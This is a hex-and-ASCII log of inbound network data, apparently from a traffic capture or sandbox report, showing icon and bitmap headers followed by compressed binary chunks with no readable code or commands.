2022-08-30 13:56:29 UTC	997	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:56:29 UTC	1001	IN	Data Raw: 00 87 f8 87 ff 98 93 90 00 00 00 00 00 03 ff 89 ff 37 97 90 00 00 00 00 00 08 ff 98 39 98 99 70 00 00 00 00 00 08 7b 77 88 88 89 30 00 00 00 00 00 08 88 88 9b 99 87 90 00 00 00 00 00 00 88 b8 77 7b 98 80 00 00 00 00 00 00 08 79 b9 79 79 80 00 00 00 00 00 00 00 08 78 80 00 00 00 00 00 ff ff bf 00 ff f8 0f 00 ff c0 07 00 f8 c0 03 00 80 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 07 00 00 00 3f 00 80 00 7f 00 c0 00 7f 00 f0 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 fc 00 7f 00 fe 00 7f 00 ff 87 ff 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 Data Ascii: 79p{w0w{yyyx?(
2022-08-30 13:56:29 UTC	1006	IN	Data Raw: 00 00 ff ff e1 ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 7e 3d 07 00 44 2d 33 00 1a 5b 36 00 1b 5e 39 00 1d 62 3d 00 26 60 3e 00 5b 41 3c 00 7f 53 28 00 29 22 54 00 3e 35 5d 00 17 1e 7d 00 1e 66 40 00 1f 68 42 00 20 6b 45 00 22 6e 48 00 23 73 4c 00 25 77 50 00 26 7a 52 00 28 7e 57 00 38 73 53 00 3b 7a 59 00 29 76 66 00 31 69 78 00 84 44 0b 00 89 46 0b 00 8c 4c 10 00 8e 50 15 00 92 53 15 00 92 55 19 00 95 59 1a 00 99 5d 1e 00 98 5e 22 00 9c 63 22 00 9c 6b 2e 00 9d 6b 3c 00 a0 69 26 00 a2 6c 2a 00 a5 71 2d 00 a1 6f 33 00 a4 6f 3b 00 a4 74 32 00 a9 76 33 00 aa 78 32 00 a5 74 3c 00 a8 75 39 00 ac 7e 3a 00 9e 73 40 00 a9 77 41 00 ac 7b 46 00 2a 83 5b 00 27 Data Ascii: ( @~=D-3[6^9b=&`>[A<S()"T>5]}f@hB kE"nH#sL%wP&zR(~W8sS;zY)vf1ixDFLPSUY]^"c"k.k<i&lq-o3o;t2v3x2t<u9~:s@wA{F['
2022-08-30 13:56:29 UTC	1010	IN	Data Raw: 00 8a a9 70 00 c2 99 49 00 c4 9f 57 00 d2 ab 59 00 c5 9f 60 00 c8 a7 72 00 ca ab 7b 00 de bc 7a 00 f1 d0 7f 00 0a 17 8e 00 03 14 a9 00 09 1a b6 00 11 20 b2 00 15 26 bd 00 18 27 ba 00 1a 25 bf 00 2e 39 b7 00 52 6f 90 00 6b 6d 9e 00 4b 4e ab 00 15 27 c7 00 1d 2d c1 00 22 33 c6 00 32 3e c6 00 24 3b e2 00 2f 40 cf 00 35 42 c0 00 35 44 cb 00 39 44 c8 00 3d 49 d2 00 39 59 e0 00 3e 5a e2 00 4f 5c c3 00 46 5a dc 00 50 5e d5 00 4f 6d c5 00 57 64 d3 00 52 65 df 00 5c 69 d8 00 62 70 dd 00 46 5b e1 00 41 62 e5 00 47 68 e6 00 4f 76 e9 00 57 7d ea 00 4b 90 81 00 48 aa 84 00 5c a1 84 00 5b b5 93 00 5c bd 98 00 61 a5 88 00 5c cd 9d 00 6e c6 a6 00 72 ce af 00 79 d6 b6 00 7b db b2 00 5e 95 f1 00 62 8d ed 00 7a 85 e6 00 79 8b eb 00 7e 8c ea 00 77 8d f4 00 6e 98 f0 00 70 93 Data Ascii: pIWY`r{z &'%.9RokmKN'-"32>$;/@5B5D9D=I9Y>ZO\FZP^OmWdRe\ibpF[AbGhOvW}KH\[\a\nry{^bzy~wnp
2022-08-30 13:56:29 UTC	1014	IN	Data Raw: 15 41 00 49 5e 62 10 3c 47 20 0c 41 a6 41 43 84 73 88 d3 92 e1 ea 03 7e 31 66 00 05 60 23 f5 fb 62 14 49 40 05 24 c3 d9 21 c6 03 90 2a 88 ad c6 03 1a 4d d8 5d 97 a1 d7 9c 0a 56 3f 3e 67 31 0a f0 f1 e5 aa 7e 1f 37 56 00 03 d3 8e 23 00 6c 9e 05 dc 33 b1 33 37 e7 40 cd 59 a0 35 0b 63 9a a0 fe 06 d0 6b 7b 42 a0 1e 3c f0 b4 94 d7 96 9f ad 38 4f dc 61 15 60 03 a4 b4 5b 90 2b 01 13 7c 75 76 17 e0 41 0f 8a fe bb 09 16 5a 07 02 2d a2 1b 62 a2 0b 11 5d 03 00 42 1a 80 04 05 73 5f 1e 51 bd c8 1a 1e 3d 00 54 dd 10 8b 2e 2e 05 20 f2 5e b4 c1 a8 a0 a0 c4 18 30 9c 04 2c 60 17 96 50 ce ec c2 66 b7 0f 0a 56 1f 03 c1 1e 01 3f 88 0c 40 63 02 18 94 76 1e 01 f0 8b 30 08 20 38 a0 b3 02 b4 cf 01 ec 8f 37 e7 40 ad 19 98 e6 3c cc 64 03 e8 6d 80 7a 41 21 10 01 a6 14 e0 cb c4 a0 dc Data Ascii: AI^b<G AACs~1f`#bI@$!*M]V?>g1~7V#l337@Y5ck{B<8Oa`[+\|uvAZ-b]Bs_Q=T.. ^0,`PfV?@cv0 87@<dmzA!
2022-08-30 13:56:29 UTC	1018	IN	Data Raw: 5f 59 7f 29 a7 67 fd 31 38 5d dc 9e 07 01 a3 c5 07 92 38 c0 00 f0 13 51 e0 dc a8 66 12 e0 53 9a 87 02 be 2f cb ec 40 71 db d8 fa 6f 29 ed 48 02 a8 80 4e 0f cd 69 45 00 d5 e7 2e 35 59 0b 3a 7c f5 e8 88 bf 6a 53 45 19 84 9f 7d d9 31 98 66 2b b6 a7 28 30 b9 ff 10 0e ec 3f 84 03 df f3 36 00 40 6f f5 02 56 bf fc 10 ce fd fd c7 71 ea 83 7f 84 e6 c6 1a a6 a6 66 30 33 3b 9f 10 4c 04 5f fd 9c 7a 72 25 a8 d7 f3 5f f4 31 16 ae d7 0f ed e2 f2 e9 63 bb 7a ba 6e e5 d1 dc 0a a1 51 06 56 84 38 04 af c9 2c 7e 58 e6 3c df ab 8a 02 90 6a 23 f0 a5 fc 38 d5 a6 1d 47 00 c4 88 ce 3b 4b 45 19 c8 1e 23 95 40 7f 63 1d 8d e9 99 81 db 0f de f4 2e f4 ff e6 f7 d1 68 34 c4 9a eb 27 fe 12 f2 19 10 f1 5f 3f 7f 01 47 7f e9 97 47 b6 a5 39 3b 87 5d d7 be 16 bb ae 7d 2d 5e fc 53 b7 82 5c 89 Data Ascii: _Y)g18]8QfS/@qo)HNiE.5Y:\|jSE}1f+(0?6@oVqf03;L_zr%_1cznQV8,~X<j#8G;KE#@c.h4'_?GG9;]}-^S\
2022-08-30 13:56:29 UTC	1022	IN	Data Raw: da a0 0b 3d f3 28 ca 93 9d 08 56 d5 ae 8b 09 02 f2 8b 4b ea 01 9b 02 34 1c 04 3a 5e a0 ec b3 20 6b 3b be ee a3 2d 38 5f bc 78 4a 29 a1 10 d2 ba f4 f9 00 4c d8 29 71 8c 49 60 70 7a d6 04 f0 a1 87 7f fe d6 f9 d6 15 b7 4f 14 b3 8b 04 07 47 2e f5 e7 83 d5 07 d4 78 b9 6c 27 b5 dd 88 2f 6f 8d 81 4b a6 00 eb 98 01 10 e5 39 f9 d9 82 44 32 ce ef a7 0f c3 3b bc ce 82 8c 0b 84 43 a0 cd 8d 14 fc 0c 5a 6d f5 5d ec eb 7c 28 37 92 00 4c 04 3f 8f 28 a8 39 fe 38 d3 83 5b 79 1c b4 78 c5 25 5d e3 f6 5f fe 67 b8 9e 7a 05 b7 76 59 ec 16 da c7 cd b4 88 e0 67 cb ad c0 9f 5a fd 00 50 06 98 90 da 25 5a 7f 9f d1 4b 19 69 40 ed 1b 16 b9 ca 84 58 eb 49 24 06 02 f9 18 91 44 c6 14 30 38 5d 32 01 dc f1 f0 cf 1e 59 98 38 72 7c aa b1 eb 7a 03 03 47 0e 31 a8 67 60 61 bc 0a 20 03 18 0b 42 Data Ascii: =(VK4:^ k;-8_xJ)L)qI`pzOG.xl'/oK9D2;CZm]\|(7L?(98[yx%]_gzvYgZP%ZKi@XI$D08]2Y8r\|zG1g`a B
2022-08-30 13:56:29 UTC	1025	IN	Data Raw: 38 30 30 30 0d 0a 87 89 ea 80 dd 14 16 02 71 76 5f 0a 00 01 3c 9f f8 50 f0 fb 56 e9 eb a4 3b be 58 bf cc 72 5d 32 f8 f9 56 a8 fa aa 75 5f 0c f8 d5 35 e0 d6 d6 81 9f b7 86 f5 b1 6c 3c 7f de 10 2d 6e 4d 9b 29 dd 57 d7 9d 10 07 1f 1b 7c ad f9 7e a4 d7 3b b6 45 fd 48 2e 3d 00 c2 67 67 2e c7 f2 4b de 86 cd 99 5d 68 d8 02 a6 30 55 02 b0 f6 98 b1 f6 98 29 ec 6d c6 5a bc ec 9f bd f7 84 29 cc b2 b5 76 d9 18 bb fc e0 6f fe 8b 6f 7a 42 68 48 9f 0d 29 f6 e1 94 08 6a 89 82 1c fa d4 57 a0 31 30 a6 81 c2 34 60 4d 13 20 8b 02 93 b0 34 01 87 1e c8 94 30 e8 05 b7 c1 03 5f 02 82 1c d4 43 1c ea e3 61 3c 8e 1d 10 41 05 21 63 de 2b 7e 0f 7a 3f d9 c8 2f fb fa 08 f2 50 00 13 45 dd 3b 00 ea 22 fe 79 07 dc 12 58 33 e0 6a f2 00 54 3e 82 15 ea 3a 0b 94 24 1f c9 a3 f2 11 0f ee f5 0c Data Ascii: 8000qv_<PV;Xr]2Vu_5l<-nM)W\|~;EH.=gg.K]h0U)mZ)voozBhH)jW104`M 40_Ca<A!c+~z?/PE;"yX3jT>:$
2022-08-30 13:56:29 UTC	1029	IN	Data Raw: be fa b9 da 7c 3a 59 85 eb b3 06 28 0a 93 58 7e be ad f1 3b 86 94 de 67 03 e9 10 fd 09 83 53 97 4f e0 d4 e5 2d 9c 08 d7 74 f7 49 4f 06 97 9d ea 62 ff a9 9e b7 43 03 81 9b 12 57 3d 11 08 53 a7 79 ee 94 aa 0e a8 f3 8d f7 5d 76 8e f7 31 94 95 d5 d2 2e 65 42 c2 31 3a 44 f8 84 9d c3 dd c7 de 89 fe be 97 f8 97 74 04 c0 c7 79 fb d9 b3 f9 21 8f 24 c8 87 64 2c 3f 06 f5 10 f3 80 cc e2 63 eb 0d 40 3d 1b a6 3d 76 76 15 52 30 44 37 9d d4 0a c0 1a 2b d7 1f 5c 57 85 04 6a ee 77 28 9b 93 40 be cf e2 44 13 8b e1 a3 2d dd 7e 99 80 bc 74 31 80 1d f3 ce 0b b2 6d 48 32 0a a0 c1 2e b7 52 81 9b 01 58 8d f8 6b eb 18 3b 13 74 99 3a f0 27 a4 01 0c 8a f8 6b e0 27 e0 17 50 a6 60 17 35 51 17 f1 e7 fa 87 90 80 1c 43 03 de a9 f5 e1 e7 25 ab a9 b7 f8 26 ed 05 f2 e6 72 62 d7 91 42 5e 81 Data Ascii: \|:Y(X~;gSO-tIObCW=Sy]v1.eB1:Dty!$d,?c@==vvR0D7+\Wjw(@D-~t1mH2.RXk;t:'k'P`5QC%&rbB^
2022-08-30 13:56:29 UTC	1033	IN	Data Raw: 6c 7d 7d 2b fe f4 12 0f 9e 05 00 18 44 bf c3 c7 1f c5 3b 6f b8 0e 7b 2e fe 76 7c d3 0b be 15 bb 77 9e 87 fa 58 7d 60 e5 8b eb c3 4e 5f 07 a8 90 88 e1 72 5f a1 67 a7 db 46 ab dd 40 bb db 42 b7 db 4d 26 ae 3e 5f b6 09 ce 40 0c fb b2 ac 3c 8d f2 d3 e5 f2 e3 6f f5 2d 13 8c f5 81 96 e1 07 53 df 77 e0 14 c0 e8 e8 e4 f9 83 08 64 1e 80 b4 ed 9b 4a 64 17 24 b6 13 7e 74 89 09 c5 ea a7 fb 65 62 90 44 3d e9 50 3a 32 17 c1 4a 17 58 6e 76 20 4b 2d 64 00 26 ea 35 6c ae 8f e1 9c c9 31 d4 a6 c6 d1 e8 0a 96 3b c5 2c 61 b5 9d 17 23 79 4e c0 2f 7d c0 bf 0d f0 93 7b a9 01 c8 69 f4 2f 6f 11 16 84 eb fb 19 c9 28 67 01 13 b5 0c bb 27 ea d8 32 36 86 46 bb 8d 66 ab 5b 2e f2 55 9d df a7 6f f1 75 03 52 d5 dd 7c 11 e8 cd 82 60 01 7e 7d 43 9b bf 5d 7d 03 8a 7a 2c 78 d5 77 a4 5e e2 a1 Data Ascii: l}}+D;o{.v\|wX}`N_r_gF@BM&>_@<o-SwdJd$~tebD=P:2JXnv K-d&5l1;,a#yN/}{i/o(g'26Ff[.UouR\|`~}C]}z,xw^
2022-08-30 13:56:29 UTC	1038	IN	Data Raw: f0 8a 17 5f 00 00 78 0b 80 a5 d5 16 ee 79 e8 08 3e f5 c5 87 f1 d1 7f 3b 80 33 ce d9 81 99 d9 a9 78 60 31 80 0d b6 88 9a 62 2b b0 89 84 07 c9 e4 a2 81 2b 82 76 37 47 b3 dd c5 14 cb 15 3d bb e0 17 c8 ea 1f 13 c1 f4 1b f2 21 10 a7 50 1e 50 7a f1 7e aa 54 33 20 15 27 25 35 60 8d a8 64 bd a5 ee 3a c8 a5 8b c5 d5 23 58 69 9d 22 03 b4 c3 61 83 e3 19 0b 41 51 29 1f bd 96 0f f0 c4 82 f2 49 ad 9c 70 5e 7e e2 ae be 56 bb 81 a6 ac 62 69 f5 54 3a 79 7b ed f3 40 58 1b 59 58 59 39 1d 03 96 0b 67 03 07 be 6c 63 db 71 5b e5 eb 5e c0 83 16 e0 93 50 54 5f ba bf b2 ce 8d 3c 9c bc 1c 67 15 5f f8 78 ea 6d c1 43 f7 3f 86 97 9c b1 15 1f f9 ad ef c3 a6 89 c1 1f e3 ce 65 7a f3 04 ae ba ec 5c 5c 75 d9 b9 78 f3 4f bf 0c 8f 1c 3e 85 8f dd f6 00 de f7 e9 af e0 ac f3 cf c0 e6 2d 13 3a Data Ascii: _xy>;3x`1b++v7G=!PPz~T3 '%5`d:#Xi"aAQ)Ip^~VbiT:y{@XYXY9glcq[^PT_<g_xmC?ez\\uxO>-:
2022-08-30 13:56:29 UTC	1042	IN	Data Raw: ff 71 4c 25 64 af cf 95 17 ce a1 db e5 24 2e 63 e5 d2 3e 01 92 b8 9d 8e af 4a 7c 01 7b 5d 11 5e c8 0b 1b 1f ee cf f5 af e3 a3 c8 42 c9 d3 c7 f8 7a 43 09 c1 fd 21 18 9c 1f de 9d 2a 46 29 9d e8 c3 92 85 a4 5b 7f 30 06 d6 51 ea c1 b9 ce 31 21 68 f1 74 48 48 d9 d8 69 d5 e0 ea 57 67 f6 39 8d 92 c7 f5 92 55 0d d8 fe ed 31 04 59 e4 51 02 2a 17 51 30 c3 97 e0 3b 2f d7 25 b2 ca 01 0a 38 b1 3c db a0 f8 c3 26 3e 6f 8b 60 a5 d5 c1 f1 e5 06 56 5a ee 9d 0f 65 1b 6a 1b 04 06 70 1c 5a 68 a2 d3 95 81 1e 04 fa a2 b3 b7 a3 9b e7 c8 6a 35 25 4f cf 6e 18 b4 9a 08 19 84 ba 1d 01 4c d5 91 ee 5e e7 d0 ce f7 61 62 04 ee d7 b9 91 62 c2 f1 e2 ff e1 e2 92 02 61 64 9f e9 33 1c ad fa 08 54 51 6a e4 74 53 f2 49 1e f7 ef 95 5f 7f a9 39 eb 39 69 78 0a 05 0c 08 62 04 03 7a 02 7c a0 05 c1 Data Ascii: qL%d$.c>J\|{]^BzC!F)[0Q1!htHHiWg9U1YQQ0;/%8<&>o`VZejpZhj5%OnL^abbad3TQjtSI_99ixbz\|
2022-08-30 13:56:29 UTC	1046	IN	Data Raw: 18 b2 dc 7b d3 d1 5b 44 8e dc 0a 60 2c cb b2 e6 53 ad 8f 06 36 a2 cc f3 40 f7 d3 d4 78 94 54 c0 ea 31 9a 06 19 31 e0 14 50 54 5f e9 73 59 d7 ce f7 1c b5 63 99 34 e6 46 fd 19 9d 41 f4 94 00 6d 7c 8c 95 45 3e 24 22 09 ee 66 58 b3 cf ac 6c 4b 62 04 6c 1a fd bd be 9e 3c f4 4c 40 80 3b 91 65 fb f2 3b de 7e 5a 4e 2f 47 04 b0 86 92 65 59 07 c5 0d 17 4f 79 61 b0 85 29 26 14 30 5d c2 45 d3 67 4a ee ca 69 b6 04 90 26 01 c7 a0 85 ee 2b 80 c9 80 d6 e9 ad 46 3d 92 e3 c0 02 22 09 43 0c 11 b8 a9 9d 05 36 f7 a1 26 f0 34 7a eb 69 3d d9 ec c4 54 8d fe 86 30 18 d8 fe 9b f0 36 f9 35 49 1c be 7e 1e c0 f5 dd ff f7 87 eb ff bd 48 8f 32 22 80 67 7a e1 e4 34 60 e1 6c 8c 00 20 f1 28 99 3e 67 0f f2 34 08 08 8c ae 67 92 a3 08 c4 b4 8b 09 24 7c 57 a0 34 c4 10 8d aa 4e 1e a8 0f 26 10 Data Ascii: {[D`,S6@xT11PT_sYc4FAm\|E>$"fXlKbl<L@;e;~ZN/GeYOya)&0]EgJi&+F="C6&4zi=T065I~H2"gz4`l (>g4g$\|W4N&
2022-08-30 13:56:29 UTC	1050	IN	Data Raw: 1a ae df 17 d0 eb df 38 d5 a7 31 01 a8 d4 bb e7 df bf 1b 53 fb 6e 87 b1 3e d2 2e f2 3d 82 d7 14 61 b9 f4 d6 3f 05 b6 96 e4 46 80 19 7d 7c 13 83 7a d6 04 ab 1d b6 5b f2 f5 3a 13 ad 6f e2 6e 84 46 b2 ab c1 c1 47 20 ba 0a d6 2b 01 00 4a 85 20 b6 9f 7d 7d b1 ee f0 c7 75 80 46 95 27 0e 41 bd 27 17 44 f5 91 04 05 39 1e a1 c2 f4 ca 28 47 d3 3f 88 04 6a b4 bc 51 87 4e a3 8e ba 90 ff c7 ce 2d a2 bf b4 07 bd 6e 17 a4 24 ff 98 00 b6 96 c6 04 00 a0 7f cf bf bb 0e d3 07 de 83 e6 f4 31 19 be 53 72 5f 82 7a 46 49 ff 10 e0 d3 db b4 e4 4f f6 61 52 08 d6 de fb f7 4a 39 04 40 26 eb 09 a2 28 64 1b 00 19 59 50 40 8c b2 5e 69 6d 26 0a 20 ae 17 80 2b a5 a0 eb 56 b2 5e e9 0b 28 1a 09 d6 bd 86 04 d8 6c 33 d1 e4 f1 80 8b 18 19 48 d2 00 57 c0 4c 4c 82 76 ed 43 c7 36 e0 3a 5d 50 50 Data Ascii: 81Sn>.=a?F}\|z[:onFG +J }}uF'A'D9(G?jQN-n$1Sr_zFIOaRJ9@&(dYP@^im& +V^(l3HWLLvC6:]PP
2022-08-30 13:56:29 UTC	1054	IN	Data Raw: 20 23 40 d5 89 7a ff 7f 20 f0 15 29 88 9c cf 86 f3 14 a9 44 f9 5f 05 be 23 7d 9d 52 69 ef 93 ba 9e 1c da 64 92 93 22 63 12 18 94 76 1c 01 a4 41 3f 64 c0 8f db 89 28 7e 41 5b a5 a9 cb f6 e3 d0 9b 6f c4 a1 37 df 08 00 28 37 37 71 e1 e1 2f e2 cc 03 27 70 fa 23 7f 01 bb f6 34 76 bf f8 30 e6 f7 ef 45 73 62 22 93 ac 48 3a 32 1f b7 1e e8 55 65 71 c9 11 7f 06 bb 22 02 42 0e 2c a4 a4 a8 02 85 31 e0 57 46 b5 20 c1 bb cc a2 bb dc bf 4f d5 00 c4 e2 23 b1 f4 e9 76 bf ce 25 44 1d dd 17 0a 60 17 65 a0 2c 7e 4a 04 61 bf 6f 40 bf 7a a1 a6 1d 47 00 da ca 4b 87 1b 14 f1 df 82 e5 28 26 27 b1 f4 aa 63 58 7a d5 31 5c f9 c3 b7 00 00 da 4f 9f c4 b9 fb 4f e0 91 ff f4 6f f1 d2 1b be 7d 40 c4 5f 81 3f e9 fc a8 00 21 b7 ec 49 10 2f 07 7f 1e 1f a8 b3 ee 59 bd 0c f8 34 00 a8 c0 0f f6 Data Ascii: #@z )D_#}Rid"cvA?d(~A[o7(77q/'p#4v0Esb"H:2Ueq"B,1WF O#v%D`e,~Jao@zGK(&'cXz1\OOo}@_?!I/Y4
2022-08-30 13:56:29 UTC	1057	IN	Data Raw: 37 66 66 38 0d 0a 2c 0c b9 64 f8 4b f5 2e 24 11 7f 1d 14 4c 9e d7 17 36 18 9e 42 7d 6e 63 1d e5 bd 0f 81 6e e9 01 43 dc 80 62 71 2f da a6 83 06 4d cb fb fc 00 60 73 a1 85 89 cb af 1a 69 b5 4e bf ef ff 46 93 2f cd 16 2d 9c 31 39 68 49 e5 e3 b9 3a 95 57 70 86 94 a4 64 09 ea 9f 98 a5 67 37 df bf 8e 44 18 f5 75 6e 80 d4 ae db c2 24 32 66 81 81 e9 79 a5 00 7e ff d3 3f fa ee 99 c9 bd 27 26 1a b3 c7 8c b1 c1 9a 07 eb 6d 10 a4 7e b0 ee 56 4c 3b 0c a2 e5 07 20 6e 80 09 ff ca b6 1c fc ea a7 e3 00 11 f4 46 ef 32 f0 07 63 50 ae 9c 43 ef a9 af a2 3c 73 0a 93 ce a2 fd e8 e7 47 ee b7 f4 ae 9f 49 5e 3e 42 44 98 ff fe 1f 1c b9 5f ff 99 27 d1 78 a6 0d 80 60 ac dd ba 00 b0 16 a9 d5 47 a2 00 00 aa 4a 76 39 c9 08 fc 2d 59 7f ae 87 8b e5 16 1f 59 3e ec 4f 59 7d f1 30 a9 02 48 Data Ascii: 7ff8,dK.$L6B}ncnCbq/M`siNF/-19hI:Wpdg7Dun$2fy~?'&m~VL; nF2cPC<sGI^>BD_'x`GJv9-YY>OY}0H
2022-08-30 13:56:29 UTC	1061	IN	Data Raw: 53 25 3a 70 d4 83 80 9d 27 ee 30 80 85 28 58 3d 20 00 1e 91 1c b2 39 03 96 c2 e4 20 58 7f ab 0c 4f 10 72 4a 3d 90 10 06 4c e6 06 e4 23 03 e1 58 c1 61 f0 67 26 8f 02 53 5c 07 bf 9c 3c f2 9b bc 18 14 62 3d f4 df 94 30 d2 ce 28 1d 2e 03 6e 24 82 3c 2f 1b 2b f9 ea 70 df 60 22 01 bc 5e 5b fd e8 27 b1 38 31 05 fb 92 d7 a1 33 73 14 1d 9a 42 af ac bf d9 31 08 58 53 b7 02 7b 82 53 e1 bf 1a e0 d3 28 e0 67 84 02 be 3e c3 ad 3f e7 65 b3 6a 0f a9 36 25 44 c0 d7 50 0e a7 15 c0 98 02 06 a5 46 e9 7a 00 ba de d0 c3 00 a6 80 41 01 8b 06 3c 74 2c 0c 9a 30 86 60 0d 50 ba 2e 9c e9 45 c0 a9 20 21 79 81 2f eb 04 90 b5 fe 3f 6f 35 02 56 8e 1d 88 9f 1f 54 85 cc 1d 20 b5 5e 3d 2d 08 3e 0e 28 fe 0d b3 01 a1 dd 0a 05 4c 10 d4 5b 81 15 d0 2b 2e 02 5d 74 c4 9f 02 40 6b f3 aa b3 4a 47 Data Ascii: S%:p'0(X= 9 XOrJ=L#Xag&S\<b=0(.n$</+p`"^['813sB1XS{S(g>?ej6%DPFzA<t,0`P.E !y/?o5VT ^=->(L[+.]t@kJG
2022-08-30 13:56:29 UTC	1065	IN	Data Raw: e1 44 92 c9 8e 0b be de 42 77 ea d8 3e ff 25 b4 f0 81 43 df 81 b3 2f fb 6e 58 6b d1 2c bc b4 b7 ca df cf 83 7c 02 7a 3d 8b 2f 19 bf b7 02 fa 64 c2 8e 9e a8 93 07 fd c0 c3 77 fe ab 29 89 df 1f 52 fa 16 6b b5 5e 15 8a dd dd 40 5e 43 1d d7 04 12 a8 61 82 21 c2 60 aa b0 d8 db 6a 00 44 e8 f5 4b 01 be a3 6d 54 00 fe 66 6d 7d 8e bf 06 8f 53 e5 34 69 88 1c 26 42 dd 70 5f a5 9e 04 f8 b1 63 47 20 70 1b 53 22 22 dd 3e 97 ab 89 08 6a 17 f6 e7 e3 0a 1d 49 59 0d c0 ac c3 27 3f a0 dd 5d 03 35 81 c5 99 45 9c 3f 7f 1e 45 23 74 b6 46 81 67 0e 35 70 f6 30 70 9f 01 1a 3d c2 9e 33 5d 5c 76 a6 87 83 67 fa d8 77 c1 61 2a 38 85 84 ea 1c ff 54 39 0c c8 83 4f 21 e6 2b 20 94 6b 96 82 bf 92 4f ee 51 04 35 a9 fa 12 52 80 ca a8 6b 96 02 1f e9 71 6b da 7b 21 0c ed 7d ee 55 3f 00 9a db Data Ascii: DBw>%C/nXk,\|z=/dw)Rk^@^Ca!`jDKmTfm}S4i&Bp_cG pS"">jIY'?]5E?E#tFg5p0p=3]\vgwa*8T9O!+ kOQ5Rkqk{!}U?
2022-08-30 13:56:29 UTC	1070	IN	Data Raw: 8e 18 34 28 98 46 9c c0 f7 e2 bc d4 e5 53 fb b9 96 f3 14 10 78 22 2c ed 2c 9e a0 e2 10 d6 7a 4f e5 21 d3 42 7d a8 60 12 40 40 17 62 02 24 84 17 91 24 24 10 c8 60 3a dd 19 7a ae ae f1 8e e7 7b 7f 9c b3 f7 fe 7d df de e7 0e 55 d5 99 bc bb d7 ed ba e7 ec 7d be fd 4d bf df de 67 9f 73 cf 69 75 f2 12 f8 e5 22 9e 99 ea db 85 3d af 63 b9 51 43 31 83 70 36 aa bb fd 05 c5 e2 5f 5e 43 86 bc 3c 7d 0f 48 56 eb 7a 04 76 3e 8f f7 f7 16 c0 e9 08 d5 2e cb 80 dd 9b eb d8 5a 1f 43 a7 93 63 a5 d9 ee bb c2 df 6b ca af 47 ff 1c 42 d7 fa 8b 3a 24 89 c1 3d ca 7e bd a5 0e 91 68 c5 df 25 aa 9d 2a fa a4 26 c0 b8 3a 3e 3e ab 6d 88 6e 7d 8b 5b 78 d3 60 48 7c 72 49 ce 0c 2c 41 88 a0 78 87 40 b7 89 76 a7 5d b0 b9 02 60 0c 18 94 7f 18 ec 0c 7b b8 6d 47 38 00 9d e7 97 b3 00 fe ed 42 e9 Data Ascii: 4(FSx",,zO!B}`@@b$$$`:z{}U}Mgsiu"=cQC1p6_^C<}HVzv>.ZCckGB:$=~h%*&:>>mn}[x`H\|rI,Ax@v]`{mG8B
2022-08-30 13:56:29 UTC	1074	IN	Data Raw: 17 76 13 30 53 a3 65 68 2f 51 db 30 22 26 88 82 82 ee c0 ec 12 c2 09 50 c7 f4 5b f1 77 75 15 76 07 63 08 c8 d0 84 c2 89 5c 39 13 63 ff 39 1f 40 90 5c f1 b7 ed 9d 0a f6 9a b9 1f a0 44 8f f0 d1 8a 3f 20 16 94 74 eb ad 3a 7f b7 8b 7e 49 c0 53 1f 92 1a f5 ad 1f 83 1e 7e cd cc fb cb e5 83 cb 21 a1 b8 3a ff 86 c4 60 e2 20 b4 ad bb d4 03 9b a4 5f db ed c0 df cd 5b 58 6a 1c c7 6a 6b c1 24 8e 90 c3 8b ef 83 5e 06 5c 6e 9e c0 cd f7 be 07 97 9c f5 52 ec 9e bd 18 5b 37 9d 81 0c 83 3d 4f 30 cb 32 b3 ea 9f 48 e6 44 f2 27 db 63 38 b2 c8 d9 3d a6 ad f2 0d 9c 60 ad 0b c7 ce 02 04 f4 f1 5f ab f4 72 32 90 d0 21 b5 df eb 42 72 95 5e 24 b1 02 c8 a0 fd 9c c8 ea 43 f2 95 3d fe 98 35 ac f8 13 60 54 7b d7 ae cf 8a 7f 20 83 d0 1f a2 6b fe 81 18 ec b9 bc 5a e4 f3 ba ba ba 58 76 09 Data Ascii: v0Seh/Q0"&P[wuvc\9c9@\D? t:~IS~!:` _[Xjjk$^\nR[7=O02HD'c8=`_r2!Br^$C=5`T{ kZXv
2022-08-30 13:56:29 UTC	1078	IN	Data Raw: 0b 4c 1f ce 0e 2b 6f c0 e0 f4 29 75 ef 7c e3 1c 0f 4d 4a 1a c5 5e c4 de cc 98 ca 60 de 3d 10 18 7b 90 85 d3 68 4d b2 12 75 5e b7 3e 64 96 20 1e 7f 7b a8 b2 2f 24 64 48 0a 1a c1 22 5d 82 5f 19 b0 d5 c4 15 8f 46 f0 fa eb 04 52 fd 82 e3 41 23 8b 6b 63 7d 22 c5 33 f3 7c db 01 4a 56 5c ca 51 fd 6b 3d 0a 4f a5 40 a2 48 82 f2 8a 41 ad 49 c2 d9 65 eb 74 3b ce 5b 05 1a 57 4f 2e 27 0d 43 0c 29 66 69 90 57 c4 83 11 6c b6 c0 3e 65 bb 39 89 18 67 84 23 6f 0d fb 69 03 4a 78 33 10 25 82 b3 96 93 c6 4f 53 50 3a 7a 98 45 3c f4 a8 23 23 83 1f 36 86 2c 92 a4 c4 